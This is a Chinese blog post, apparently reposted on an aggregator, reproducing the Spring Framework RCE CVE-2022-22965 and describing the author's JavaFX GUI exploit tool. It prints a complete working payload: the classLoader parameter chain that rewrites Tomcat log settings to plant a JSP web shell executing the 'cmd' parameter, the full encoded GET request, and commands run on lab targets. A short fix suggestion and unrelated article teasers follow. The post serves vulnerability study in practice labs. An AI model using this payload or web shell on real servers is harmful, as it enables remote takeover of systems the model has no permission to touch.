Spring RCE漏洞CVE-2022-22965复现与JavaFx GUI图形化漏洞利用工具开发

news2024/11/23 10:57:28

文章目录

  • 前言
  • 一、漏洞描述
  • 二、影响范围
  • 三、漏洞复现
    • 3.1 漏洞poc
  • 四、修复建议
  • 五、图形化工具开发-Rexbb简介与使用
    • 5.1 工具使用
  • 总结


前言

换了新工作,年底了比较多自学的时间,所以把今年比较经典的漏洞给复现一下,之前因为没空,只复现了log4j,把这个springboot的给忘了,所以就来补了。

后面为了方便省事,其实我就是太懒了,每次都不想用burpsuite发包去挖洞,太麻烦(其实就是我懒😅),所以干脆自己开发个GUI图形化漏洞利用工具,“解放双手”才是我最喜欢做的事情😁😁。


提示:以下是本篇文章正文内容,下面案例可供参考

一、漏洞描述

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

二、影响范围

若满足如下两个条件则确定受到漏洞影响:

(1)使用JDK>=9

(2)Spring开发或衍生框架开发(存在spring-bean*.jar)

spring-framework < v5.3.18

spring-framework < v5.2.20.RELEASE

三、漏洞复现

这个漏洞的本质利用Java 9中的模块里一些内部对象的属性注入,我们现在已知的PAYLOAD就是更改Tomcat将一些全局配置,就是修改保存在classLoader.resources.context这个context中日志的格式与文件名,就是下面的这些:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=testtest  //写入的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp				//后缀名是jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT	//路径是webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell			//文件名字是fuck
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=  //可以为空

access_log属性:

directory: access_log文件输出目录
prefix: access_log文件名前缀
suffix: access_log文件名后缀
pattern: access_log文件内容格式
fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

所以,只需要修改.pattern的内容为命令执行的代码,就可以实现命令执行的功能,而java的命令执行代码用的是:

%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

在请求包里添加参数:

suffix: %>//
c1: Runtime
c2: <%
DNT: 1

这样就是一个完整的payload了。

3.1 漏洞poc

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

Get请求比较方便,所以直接列出get请求的payload,只需要更改cookei和host就可以完成复现。

这里我用vulfocus的靶场来测试:
在这里插入图片描述

发送payload。

在这里插入图片描述

然后访问我们写入的jsp马完整url:

http://ip:端口/tomcatwar.jsp?pwd=j&cmd=whoami

在这里插入图片描述

成功命令执行,ls /tmp成功获取flag。
在这里插入图片描述

四、修复建议

全局搜索@InitBinder注解,判断方法体内是否有dataBinder.setDisallowedFields方法,如果有使用则在原来的黑名单中添加:

{"class.*","Class.*","*.class.*","*.Class.*"}

五、图形化工具开发-Rexbb简介与使用

工具开发思路其实非常简单,就是用http发送请求,而java发送http请求的方法非常多样,有原生的HttpUrlconnetion,我大半年前学Java开发工具就是用的这个,但是它有个不好的地方就是比较复杂,因为要用到输入流和输出流,Buffreader、InputStream等等,所以要学的东西还是挺多的,后面了解到http请求除了原生的这个,还有okhttp,Hutools,HttpClient等等等等。大家可以自行选择自己喜欢的。上面列举的这些都是可以进行Get,Post,Put等常见的Http请求,但是各有优缺点。Java工具类的介绍我就先说这么多。其实开发工具我认为还是python还是比较简单易上手的,request库比Java的这些都要方便太多太多。

接下来就是怎么设计工具,再开发工具的时候要提前想好布局是什么样的,我所有开发的工具都是基于JavaFx,因为特别优美,界面很干净舒服。

在这里插入图片描述

上面是我开发工具前自己画的草图,当整体有了布局思路后,就可以按照这个样式自己写代码了。

我用的组件不是很多,都是很简单很常规的组件,Button按钮,Label标签,textField和textArea文本框。布局样式我用的是锚点布局AnchorPane,也可以叫他绝对布局。
在这里插入图片描述

可以自由设置每个组件的位置,麻烦是麻烦了点,但是可以很明确的指定位置,对我这种强迫症患者来说,简直就是福音!

下面就是开发完成后的工具样式了,很朴实无华,但是功能是完全够用的。

在这里插入图片描述

👉👉👉👉👉这里提一下,我使用java8开发的,也就是大家用的最多的jdk1.8,别的高版本java很多小伙伴说不兼容,在他的电脑上运行不了,所以我干脆用比较大众的jdk1.8了。

5.1 工具使用

这里还是以vulfocus靶场为例,给大家简单说说工具是怎么用的。

直接将url复制到第一个文本框里,然后点击发送payload,注意注意📢,url不要乱搞,我看好多新手啊,都是不听劝,我之前工具已经明确说了,url只需要复制到端口号后面就可以了,非不听,偏偏要把整段url后面带一大串参数的全给复制进去,然后私信我说工具不行,好吧,我承认是工具不行,没有对url做输入判断,后面我的TP漏扫工具Rexha就做了url输入判断,不符合规则的直接无法请求,但是这个cve-2022-22965的我就没做了,因为赶时间要下班。

在这里插入图片描述

当点击了发送payload之后,第二个文本框就会出现一个完整的带jsp马的url,为了防止小孩误食,我直接把文本框设置成了不可编辑,只能看和复制,不能修改。默认就是执行whoami测试。

接着点击RCE检测。

在这里插入图片描述

whoami的命令就执行成功了,成功回显root。

本来我打算做到这一步就不做了,因为可以直接复制发送后的url,到浏览器自己进行cmd参数的修改,就可以执行想执行的命令,后面想了一下,还是方便一点好,毕竟我是一个很“懒”的人,能用工具搞定就尽量用工具搞定,所以我加多了一个“命令执行”功能,可以在框框里输入想执行的命令,然后点击就行了。

在这里插入图片描述

上图成功回显了ls命令的结果,ls /tmp也是直接拿到了flag,很完美。

在这里插入图片描述

为了严谨性,我又找了其他的靶场做测试,vulhub的也来试一试。

在这里插入图片描述

也是完全没问题的,工具都可以用。
现在工具已经上传到我的Github了,大家可以下载来玩玩,后面有时间了我会持续优化。🎈🎈

我的Github地址是:

https://github.com/zangcc

在这里插入图片描述


总结

将漏洞手动验证和测试改成工具化之后,真的方便了很多,省去了很多繁琐的手动步骤,而且还是图形化的,不用python或者别的语言脚本那样记各种杂乱的参数,图形化的操作只需要用鼠标点点点就行,真的很效率,希望自己明年能开发更多好用的小工具,顺便把今年的工具都优化升级一下,做一个整合。争取早日实现自己的梦想。谢谢大家。

    文章原创,欢迎转载,请注明文章出处: Spring RCE漏洞CVE-2022-22965复现与JavaFx GUI图形化漏洞利用工具开发.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/126851.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python--PyCHarm里代码整体向左/右缩进

1、PyCharm 里代码整体向左缩进 鼠标选中多行代码&#xff0c;同时按住 Shift Tab 键&#xff0c;实现一次向左缩进4个字符。 2、PyCharm 里代码整体向右缩进 鼠标选中多行代码&#xff0c;按下 Tab 键&#xff0c;实现一次向右缩进4个字符。 3、PyCharm 里光标变粗 光标…

信创大提速,企业如何在高速行驶中更换“发动机”?

导读&#xff1a;信创替代如何平滑迁移不“翻车”&#xff1f; 经过多年发展&#xff0c;中国信创产业迎来全面提速。 2022年国家下发的79号文中&#xff0c;全面给出了国资信创产业发展与进度的指导&#xff0c;要求到2027年央企国企100%完成信创替代&#xff0c;替换范围涵盖…

SprintBoot实战(十一)集成 xxl-job

目录1.简介2.Maven依赖3.初始化数据库4.调度中心配置5.执行器配置6.项目结构7.访问页面8.新建定时任务9.BEAN运行模式10.GLUE(Java)运行模式1.简介 xxl-job&#xff1a; 是一个分布式任务调度平台。平台架构分为 “调度中心” 和 “执行器”。调度中心类似定时任务的注册中心&a…

SuperMap iDesktop 之 BIM优化流程——建筑篇

kele 一、背景介绍 BIM数据是三维系统中的常客&#xff0c;它具有信息完备性、信息关联性、信息一致性、 可视化、协调性、模拟性、优化性和可出图性八大特点&#xff0c;广受人们喜爱&#xff0c;但这也使得它自身数据量庞大&#xff0c;在项目中展示效果不尽人意&#xff0c…

SegeX MemDialog:封装好的内存对话框(非资源对话框)说明

----哆啦刘小洋 原创&#xff0c;转载需说明出处 2022-12-27 SegeX MemDialog1 简介2 源文件清单3 快速测试4 实现基本原理5 主要功能6 使用方法6 .1 简单界面6.2 复杂界面1 简介 SegeX组件之一&#xff1a;SegeX MemDialog&#xff0c;应用级内存对话框封装类。源码首次公开。…

IEC 60598-2-22-2021 灯具 第2-22部分- 特殊要求-应急照明灯具.

2021年12月6日&#xff0c;国际电工委员会发布标准IEC 60598-2-22:2021《灯具-第2-22部分&#xff1a;特殊要求-应急照明灯具》。IEC 60598-2-22:2021标准以IEC 60598-2-22:2021 RLV标准的形式提供&#xff0c;包含国际标准及其红线版本&#xff0c;内容显示了与前一版本相比对…

tensorflow06——正则化缓解过拟合

正则化主要是在损失函数中引入了第二个部分&#xff0c;模型复杂度&#xff0c;具体就是对w参数赋予了权值&#xff0c;并求和&#xff0c;再乘上一个超参数。 &#xff08;利用给w加上权值&#xff0c;弱化训练数据的噪声&#xff09; 大概可以理解为这个意思假设模型有两个参…

从0-1搭建流媒体系统之ZLMediaKit 安装、运行、推流、拉流

音视频开发系列 文章目录音视频开发系列前言一、ZLMediaKit是什么&#xff1f;二、使用过程1.编译、安装、运行2.推流、拉流总结前言 目前、比较有名的流媒体服务器有ZLMediaKit、srs、live555、eadydarwin等。因为srs是单线程服务、对于多核服务器的支持需要通过部署多个服务…

蓝牙学习七(MAC地址)

1.简介 一个BLE设备&#xff0c;可以使用两种类型的地址&#xff08;一个BLE设备可以同时具备两种地址&#xff09;&#xff1a;Public Device Address&#xff08;公共设备地址&#xff09;和Random Device Address&#xff08;随机设备地址&#xff09;。而Random Device Add…

如何用 java 实现【二叉搜索树】

文章目录搜索树概念1. 查找操作2. 插入操作3. 删除操作4. 以上三种操作的测试5. 性能分析搜索树概念 二叉搜索树 又称 二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者是具有以下性质的二叉树&#xff1a; 若它的 左 子树 不为空&#xff0c;则 左 子树上所有节点的值…

自定义神经网络入门-----Pytorch

文章目录目标检测的相关评价指标IoUmAP正例和负例准确率P召回率R准确率ACCP-R曲线--APnn.Module类全连接层感知机类使用nn.Sequential进行构造使用randn函数进行简单测试损失函数nn.functionalnn.optim模型处理网络模型库torchvision.models模型Fine-tune和save参考目标检测的相…

【STM32F4系列】【HAL库】【自制库】模拟IIC从机

介绍 本项目是利用GPIO模拟I2C的从机 网上常见的是模拟I2C主机 本项目是作为一个两个单片机之间低速通信的用法 协议介绍请看,传送门 模拟主机请看这里 从机 功能 实现I2C从机端读写寄存器 编程思路 I2C的从机实现比起主机来麻烦一些 因为SCL的时序是由主机发送,从机需…

【nowcoder】笔试强训Day12

目录 一、选择题 二、编程题 2.1二进制插入 2.2 查找组成一个偶数最接近的两个素数 一、选择题 1.以下方法&#xff0c;哪个不是对add方法的重载? public class Test {public void add( int x,int y,int z){} } A. public int add(int x,int y,float z){return 0;} B.…

Go语言设计与实现 -- WaitGroup, Once, Cond

WaitGroup 我们可以通过 sync.WaitGroup 将原本顺序执行的代码在多个 Goroutine 中并发执行&#xff0c;加快程序处理的速度。 我们来看一下sync.WaitGroup的结构体&#xff1a; type WaitGroup struct {//保证WaitGroup不会被开发者通过再赋值的方式复制noCopy noCopy// 64-…

重学redux之Redux-Thunk高级使用(三)

这是第三篇了,哥们,如果没看过前两篇,可以去看看之前的两篇,有基础的可以直接看,不多说,直接开讲 默认情况下,Redux 的动作是同步调度的,对于任何需要与外部 API 通信或执行副作用的应用程序来说都是一个问题。 Redux 允许中间件位于被分派的动作和到达 reducer 的动…

抖音本地生活的蓬勃发展,离不开服务商的推波助澜

抖音本地生活&#xff0c;已经势不可挡01 抖音公布本地生活成绩单&#xff0c;交易额增长30倍抖音经过6年时间的演变&#xff0c;产品功能日益丰富&#xff0c;已经从内容消费&#xff0c;延续到线上购物、线下团购等领域&#xff0c;从最初的记录美好生活&#xff0c;成为一种…

统计分析工具-FineReport配置SQL Server外接数据库(2)

1. 配置外接数据库 1.1 外接数据库配置入口 外接数据库的配置入口&#xff0c;有三种形式&#xff1a; 1&#xff09;超级管理员第一次登录数据决策系统时&#xff0c;即可为系统配置外接数据库。如下图所示&#xff1a; 2&#xff09;对于使用内置数据库的系统&#xff0c;管…

站点能源低碳目标网,助力网络碳中和 | 华为发布站点能源十大趋势

2022年12月29日&#xff0c;华为今天举办站点能源十大趋势发布会并重磅发布白皮书。发布会上&#xff0c;华为站点能源领域总裁尧权全面解读了能源数字化、低碳网络、站点供电绿色化等站点能源十大趋势。 尧权表示&#xff0c;2022年是不平凡的一年&#xff0c;全球能源危机背…

十、通过网络服务将esp8266引脚状态显示在网页中

ESP8266在服务器模式运行时&#xff0c;我们可以使用浏览器来显示它的引脚状态。 1、实现目标 学习如何通过esp8266建立基本网站&#xff0c;在该网站上实时显示esp8266的引脚值。 2、原理图 FLASH按键与D3引脚连接&#xff0c;可以通过FLASH按键改变D3引脚的电平。当没有按…

中型企业适合用什么样的CRM管理软件,求推荐?

中型企业适合用什么样的CRM管理软件&#xff0c;求推荐&#xff1f; CRM管理软件是现代企业必不可少的管理软件之一&#xff0c;很多企业都会选择CRM管理软件来经营客户资源&#xff0c;但能够精准地选择到适合自己企业的CRM管理软件则是困难的。 中型企业需要与自己业务流程…